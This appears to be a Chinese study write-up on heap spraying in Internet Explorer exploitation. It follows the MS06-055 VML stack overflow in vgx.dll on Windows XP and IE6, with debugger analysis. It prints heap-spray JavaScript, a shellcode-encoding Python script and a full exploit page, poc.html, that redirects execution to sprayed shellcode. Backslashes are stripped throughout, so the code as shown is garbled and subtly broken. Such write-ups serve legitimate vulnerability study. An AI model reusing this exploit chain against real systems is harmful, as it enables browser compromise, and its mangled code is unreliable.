IE漏洞学习笔记(一)Heap Spray

 

摘要:HeapSpray这个技术是IE漏洞利用中非常重要的一点,能够绕过很多利用一般技术很难绕过的保护机制(DEP/ASLR),虽然这并不是一种漏洞利用手法,但是这种手法确实值得我们去研究和掌握。

 

第一章Heap Spray

HeapSpray常见于浏览器漏洞利用中。

通常使用JavaScript创建大量由Nop和shellcode组成的字符串中。JavaScript运行的时候会将每一个字符串的数据存储在堆中的新块上。

堆的分配通常从起始地址向上增长。所以当我们在为字符串分配了200MB的内存之后,在50MB和200MB之间的大量内存空间都被我们的Nop所填充。此时如果程序存在漏洞,就能将EIP覆盖为这段内存空间的地址,程序将会被控制跳转执行到这些NOP指令并且最终滑向我们的shellcode。

需要注意的是,Heap Spray并不是类似栈溢出/UAF之类的漏洞利用方式,而是一种常见于浏览器攻击的shellcode布置方式,是在找到漏洞之后,为了绕过ASLR/DEP之类的保护机制的一类绕过技巧。

1.1堆喷射原理

在IE漏洞案例中,使用javascript申请200MB内存。其中的结构大概如下

分为200个1MB的块(slide),每个块由 大量的nops和一条shellcode组成。

---1MB---

nop

nop

nop

shellcode

---1MB---

nop

nop

nop

shellcode

-----


.....


---1MB---

nop

nop

nop

shellcode

-----

当Javascript成功申请这些的内存的时候,这些数据会覆盖到0x0c0c0c0c的位置,这样只需要通过缓冲区溢出漏洞将EIP修改为0x0c0c0c0c就能跳转到这个位置。

而slide中存在大量的nops,只要EIP跳转到nops中就会顺利地滑动到shellcode执行,因为shellcode的长度相对于1MB是非常短的,所以成功率并不低。

1.2 javascript堆管理

案例代码


<script language="javascript">

var nop="u9090u9090";



while(nop.length<=0x100000/2)

{

​    nop+=nop;

}



var slide=new Array();

nop=nop.substring(0,0x100000/2-32/2-4/2-2/2);

alert(nop);

for(var i=0;i<200;i++)

{

​    slide[i]=nop;

}



</script>

如图所示,堆内存只分配到了0x211000,而0x0ccc0000之后也不是我们分配的内存。

所以实验中,堆并没有为我们分配对应的内存空间,我查询了javascript的内存管理并没有找到具体原因,个人猜测可能是因为填充的数据都是相同的u9090,所以内存就自动优化不进行分配了。可能是来自于windows系统的堆分配优化。

不过解决方案也很简单,实验中将slide添加上一段非u9090的代码时,成功申请了大量堆内存,并且覆盖到了0x0c0c0c0c地址。

修改后的代码

<script language="javascript">

shellcode="u1234u1234u1234u1234u1234u1234u1234u1234u1234u1234u1234u1234";

var nop="u9090u9090";

while(nop.length<=0x100000/2)

{

​    nop+=nop;

}



nop=nop.substring(0,0x100000/2-32/2-4/2-shellcode.length-2/2);

//nop=nop.substring(0,0x100000-32/2-4/2-2/2);

var slide=new Array();

for(var i=0;i<200;i++)

{

​    slide[i]=nop+shellcode;

//    slide[i]=nop;

}

</script>

成功分配堆内存,可以进入0x0c0c0c0c内存查看具体分配状况。

 

第二章IE漏洞分析

让我们寻找一个相对方便入手的CVE调试来掌握堆喷射技术

2.1MS06-055分析

实验环境

系统版本:Windows XP SP1

IE版本:IE6(IE5.x或6.x均可)

Vgx.dll版本:6.0.2800.1106(低于6.0.2900.2997即可)

2.1.1 漏洞简介

MS06-055漏洞的出发点在IE浏览器的vgx.dll中,

该文件的可以在C:Program FilesCommonFilesMicrosoft SharedVGX下找到

漏洞成因是SHADETYPE_TEXT::Text(ushortconst *,int)函数对<v:fill>标签的method属性的值缺乏长度检查而导致的栈溢出。

2.1.2 VML简介

vml_test.html

<html xmlns:v="urn:schemas-microsoft-com:vml">

<head>

<title>migraine</title>
<style>

<!--v:* { behavior: url(#default#VML); }-->

</style>

</head>

<body>

<v:rect style="width:44pt;height:44pt" fillcolor="blue">

<v:fill method="Q" />

</v:rect>

</body>

</html>



![img](file:////var/folders/lv/mx34g1z16nl89qtd0_3rqjk00000gn/T/com.kingsoft.wpsoffice.mac/wps-p0kerface/ksohtml/wpsqowSM7.jpg)

2.1.3 vgx.dll分析

使用IDA分析vgx.dll

IDA符号表导入方案

[不过由于windows xp现在已经下载不到符号表了,所以这次实验也就用不了]

http://www.360doc.com/content/15/0705/16/12129652_482800639.shtml

触发漏洞的函数是_IE5_SHADETYPE_TEXT::TOKENS::TEXT,但是在没有载入符号表的情况下我们是无法直接在IDA中搜索的。尽管我们知道这个函数的地址为0x5AD02D1B

测试环境下Windows XP SP1的vgx.dll版本为6.0.2800.1106,如果系统不同,DLL版本不同也会造成偏差。下文会分析如何在没有符号表的情况下确定这个函数的位置。

不过,首先我们先对这个函数存在的漏洞进行分析。

实际漏洞触发函数是位于text:5AD02D5A 的call sub_5AD02CC0, 字符串没有检测长度,而产生栈溢出。进入这个函数,结合动态调试,确定loc_5AD02CDE->loc_5A02CFE构成的这个循环是造成溢出点的代码。

0x5AD02CF8地址的存放是拷贝的代码,而0x5AD02D04则是循环判断代码。

[ecx+4]存放着输入数据的长度,edx每次循环加二,直到和输入字符串长度相等才停止。

没有存在任何长度的检查或者限制,所以这是导致栈溢出的原因。

动态调试也应证了我的判断,给拷贝字符串的命令下断点,此时DX存放的数据是0x0c就是我们要存放的数据,EDI存放着需要拷贝的地址。而观察此时[ECX+4] 的位置,也存放着我们字符串的长度,此处不再赘述。

2.1.4 栈溢出调试

首先打开我们的vml_test.html,打开ImmunityDbg将进程附加到IE浏览器上。

此时因为我们的vml_test内部调用了vml所以IE自然会载入vgx.dll模块,通过模块查询可以发现,vgx.dll已经载入。

因为Windows XP并没有开启ASLR,所以vgx.dll的基地址和IDA预测的没有区别,直接Ctrl+G进入0x5AD02D1B下断点。

在地址栏中刷新我们的地址,可以看到程序断点在了存在漏洞的函数入口。这样如果需要调试poc,只需要修改我们的vml_test.html,然后刷新浏览器就能进行测试了。

找到我们的vml_test.html中的参数<v:fill method=”Q” />,增加method标签中Q的数量。再次进行调试

观察缓冲区我们填充的Q被存放在了缓冲区中,但是格式思路和我们期望的似乎有些不同。

在两个字符之间多处了x00的编码。原因是在VML在解析我们数据的时候使用的是UNICODE编码,而不是ASCII码,所以Q的ASCII码表示为x51而在UNICODE下则会转化为x00x51,格式为u0051

_IE5_SHADETYPE_TEXT::TOKENS::Ptok函数的EBP为0x12C0D0,所以函数的返回地址位于0x12C0D4,当然调试器也已经帮我标记好了这个地址。

而我们知道之前的缓冲区首地址为0x12BECC,所以我们需要在缓冲区填充0x20c的字节的才能覆盖返回地址。(也就是说0x106个Q)

我们编写POC.html,然后使用当前被调试的IE浏览器访问poc.html

观察此时的栈空间,返回地址已经被覆盖。

显然,只能控制一半的字节是无法完成利用的(当然可以用unescape来输入ascii而不是unicode),在二进制格式中输入ascii(x12)和unicode(u1234)的区别我们已经知道。我们需要在method参数中输入unicode编码,需要遵循这种格式 ሴ

例如如下的参数,在内存中会这样显示

<v:fill method="&#x1234&#x1234&#x1234&#x1234&#x1234&#x1234&#x1234" />!

如此构建payload #python -c “print ‘&#x0c0c’*0x106”

<v:fill method="&#x0c0c&#x0c0c&#x0c0c....&#x0c0c&#x0c0c&#x0c0c" />

不过调试过程出现报错,因为MOV DS:[EAX],EBX (EAX=0x0c0c0c0c)向一个不可写的位置写数据。

抓住罪魁祸首,这句话读取EBP-4位置的数据(位于下图中0x12ccc的位置),存入EAX。

话说EBP-4这个位置让我打了一个寒颤,难道这个DLL开了StackCookie?

不过找到了EAX数据的来源,那我们就将其改为一个可以读取的地址(内存中被标为W的都行,例如0x0012011)。(可以直接用调试器修改寄存器的值)

poc.html

<html xmlns:v="urn:schemas-microsoft-com:vml">

<head>

<title>migraine</title>
<style>

<!--v:* { behavior: url(#default#VML); }-->

</style>

</head>

<body>

<v:rect style="width:44pt;height:44pt" fillcolor="blue">

<v:fill method="&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c...#x0011&#x0012&#x0c0c&#x0c0c&#x0c0c&#x0c0c" />

</v:rect>

</body>

</html>

到目前位置栈溢出漏洞的利用已经告一段落,上文已经给出我们的poc,接下来就到了本部分的重头戏—Heap Spray.

2.1.5 堆喷射利用

1.对shellcode编码

首先我们将shellcode编码为unicode,因为javascript只读取unicode格式。我们在这里可以使用python对shellcode进行编码。直接贴上脚本。

#!/usr/bin/python



shellcode="xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0C"

shellcode+="x8BxF4x8Dx7ExF4x33xDBxB7x04x2BxE3x66xBBx33x32x53"

shellcode+="x68x75x73x65x72x54x33xD2x64x8Bx5Ax30x8Bx4Bx0Cx8B"

shellcode+="x49x1Cx8Bx09x8Bx69x08xADx3Dx6Ax0Ax38x1Ex75x05x95"

shellcode+="xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05x78x03xCDx8Bx59"

shellcode+="x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBEx06x3A"

shellcode+="xC4x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24x1Cx75"

shellcode+="xE4x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03xDDx03"

shellcode+="x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75xA9x33xDB"

shellcode+="x53x68x61x69x6Ex65x68x6Dx69x67x72x8BxC4x53x50x50"

shellcode+="x53xFFx57xFCx53xFFx57xF8"



print "shellcode(Unicode)=",

for i in range(0,len(shellcode),2):

​        unicode_right=shellcode[i]

​        unicode_left=shellcode[i+1]

​        unicode=unicode_left+unicode_right

​        print "b\u"+unicode.encode('hex'),

脚本编写方面的笔记

1.Python 2如果要print不换行只需要加一个逗号,但是逗号需要产生一个空格,可以用/b去除。

2.str类型的要输出hex,需要使用encode函数。

输出的shellcode

"u68fcu0a6au1e38u6368ud189u684fu7432u0c91uf48bu7e8du33f4ub7dbu2b04u66e3u33bbu5332u7568u6573u5472ud233u8b64u305au4b8bu8b0cu1c49u098bu698buad08u6a3du380au751eu9505u57ffu95f8u8b60u3c45u4c8bu7805ucd03u598bu0320u33ddu47ffu348bu03bbu99f5ube0fu3a06u74c4uc108u07caud003ueb46u3bf1u2454u751cu8be4u2459udd03u8b66u7b3cu598bu031cu03ddubb2cu5f95u57abu3d61u0a6au1e38ua975udb33u6853u6961u656eu6d68u6769u8b72u53c4u5050uff53ufc57uff53uf857"

2.通过javascript产生堆空间

Javascript申请的堆空间会从0x00000000向内存高地址分配

如果申请200MB(0x0C800000)的内存一定会将0x0c0c0c0c覆盖。

完整的poc.html

<html xmlns:v="urn:schemas-microsoft-com:vml">

<head>

<title>migraine</title>
<style>

<!--v:* { behavior: url(#default#VML); }-->

</style>

</head>

<script language="javascript">

var shellcode="u68fcu0a6au1e38u6368ud189u684fu7432u0c91uf48bu7e8du33f4ub7dbu2b04u66e3u33bbu5332u7568u6573u5472ud233u8b64u305au4b8bu8b0cu1c49u098bu698buad08u6a3du380au751eu9505u57ffu95f8u8b60u3c45u4c8bu7805ucd03u598bu0320u33ddu47ffu348bu03bbu99f5ube0fu3a06u74c4uc108u07caud003ueb46u3bf1u2454u751cu8be4u2459udd03u8b66u7b3cu598bu031cu03ddubb2cu5f95u57abu3d61u0a6au1e38ua975udb33u6853u6961u656eu6d68u6769u8b72u53c4u5050uff53ufc57uff53uf857";

var nop="u9090u9090";



while(nop.length<=0x100000/2)

{

​    nop+=nop;

}



nop=nop.substring(0,0x100000/2-32/2-4/2-shellcode.length-2/2);

var slide=new Array();

for(var i=0;i<200;i++)

{

​    slide[i]=nop+shellcode;

}

</script>



<body>

<v:rect style="width:44pt;height:44pt" fillcolor="blue">

<v:fill method="&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0c0c&#x0011&#x0012&#x0c0c&#x0c0c&#x0c0c&#x0c0c" />

</v:rect>

</body>

</html>

程序跳转到0x0c0c0c0c之后一路滑行,直到滑到下一个1MB的内存空间,执行shellcode。

2.1.6回顾漏洞挖掘过程

问:在没有符号表的情况下,我们是如何判断程序的漏洞点的。

其实这个漏洞在挖掘上存在一个巧合,填充大量的Q值,发现程序的EIP并没有跳转到0x51515151,但是程序却非常巧合地断在了漏洞函数中。但是程序并没有触发这个漏洞。

不过就凭这一点,要做后期分析也是非常方便的。

不过我们并不恩感每次漏洞挖掘都期待存在这种巧合。

栈回溯技术

我们使用poc中的method参数,假设这是模拟我们在模糊测试中的测试场景,最终会导致EIP跳转。

当Fuzz时,程序发生崩溃。但是当EIP跳转之后,程序会继续运行,然后最终断在某个程序错误中,所以我们很难判断造成程序崩溃的具体函数。

那有没有解决方案呢,我们在这里可以使用栈回溯技术,追踪漏洞的源头。

在运行poc之前首先点击Open or clear run trace,打开栈追踪,然后点击Trace into

等到触发崩溃之后,进入栈追踪的窗口(将调试窗口缩小就能看到了,或者点击View-Call Stack)

发现成功追溯到vgx.5AD02D1B,也就是我们产生漏洞的函数。

 

小结

结束了堆喷射的学习,目前就把Win下(IE)漏洞的预备知识都复习了一遍了,接下里来学习就要进入快车道了,接下来将重返UAF漏洞的学习,同时寻找好的案例进行解析和Fuzz学习。

 

参考文献:

[1] 0x3E6.MS06-055(CVE-2006-4868)漏洞分析[DB/OL].

https://blog.csdn.net/qq_31922231/article/details/69791185,2017-04-09

[2]0Day安全:软件漏洞分析技术

[3]magictong.Heap Spray原理浅析[DB.OL].

http://blog.csdn.net/magictong/article/details/7391397,2012-03-24

[4]Yuri800.演示Heap Spray(堆喷射)的原理[DB/OL].

https://blog.csdn.net/lixiangminghate/article/details/53413863,2016-12-01

[5]噗咚Four .[原创]初识堆喷射及事例(暴雷漏洞)分析[DB/OL].

https://bbs.pediy.com/thread-247937.htm,2018-11-23

[6] lostspeed.OD用栈回溯法找程序流程点[DB/OL].

https://blog.csdn.net/lostspeed/article/details/54983244,2017-02-11

[7] 行之.JavaScript中的堆漏洞利用[DB/OL].

https://xz.aliyun.com/t/2107,2018-03-06

(完)